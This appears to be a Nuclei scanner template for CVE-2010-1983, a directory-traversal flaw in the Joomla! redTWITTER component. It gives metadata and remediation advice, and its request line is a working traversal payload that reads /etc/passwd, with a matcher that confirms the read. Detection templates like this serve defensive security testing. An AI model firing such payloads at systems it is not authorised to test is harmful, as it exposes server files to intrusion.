id: CVE-2010-1983

info:
  name: Joomla! Component redTWITTER 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A drectory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12055
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1983
    - http://packetstormsecurity.org/1004-exploits/joomlaredtwitter-lfi.txt
    - http://www.exploit-db.com/exploits/12055
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57511
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1983
    cwe-id: CWE-22
    epss-score: 0.0134
    epss-percentile: 0.80262
    cpe: cpe:2.3:a:redcomponent:com_redtwitter:1.0b8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redcomponent
    product: com_redtwitter
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,redcomponent,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203f0acf6c9bb7b0fbf603a439b672ca6cd49d32c3cd2dbf592532d96d3e0cb6d3022100974b76e194aa774205c15682d57857de4eab7b8abcb506e7a5160e5b87d12f08:922c64590222798bb761d5b6d8e72950